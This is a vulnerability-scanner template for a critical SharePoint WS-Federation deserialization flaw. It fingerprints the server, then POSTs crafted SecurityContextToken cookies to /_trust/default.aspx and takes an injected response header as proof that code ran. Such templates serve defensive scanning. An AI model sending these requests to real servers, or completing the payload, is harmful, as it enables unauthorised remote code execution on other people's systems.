id: CVE-2026-58644

info:
  name: "Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution
    vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint
    authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no...
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-58644&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=sharepointserver&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58644
    cwe-id: CWE-502
  metadata:
    verified: false
    max-request: 3
  tags: cve,cve2026,sharepointserver,rce
http:
  - raw:
      - |
        GET /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "microsoftsharepointteamservices")'
        internal: true

  - raw:
      - |
        POST /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        wa=wsignin1.0&wctx={{url_encode(RootURL + "/")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc"><sc:Identifier>urn:unique-id:securitycontext:vedas', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">', replace_regex(javascript_response, ":.*", ""), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}

      - |
        POST /_trust/default.aspx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        wa=wsignin1.0&wctx={{url_encode(RootURL + "/")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc"><sc:Identifier>urn:unique-id:securitycontext:vedas', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">', replace_regex(javascript_response, ".*:", ""), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(header), "x-vedas")'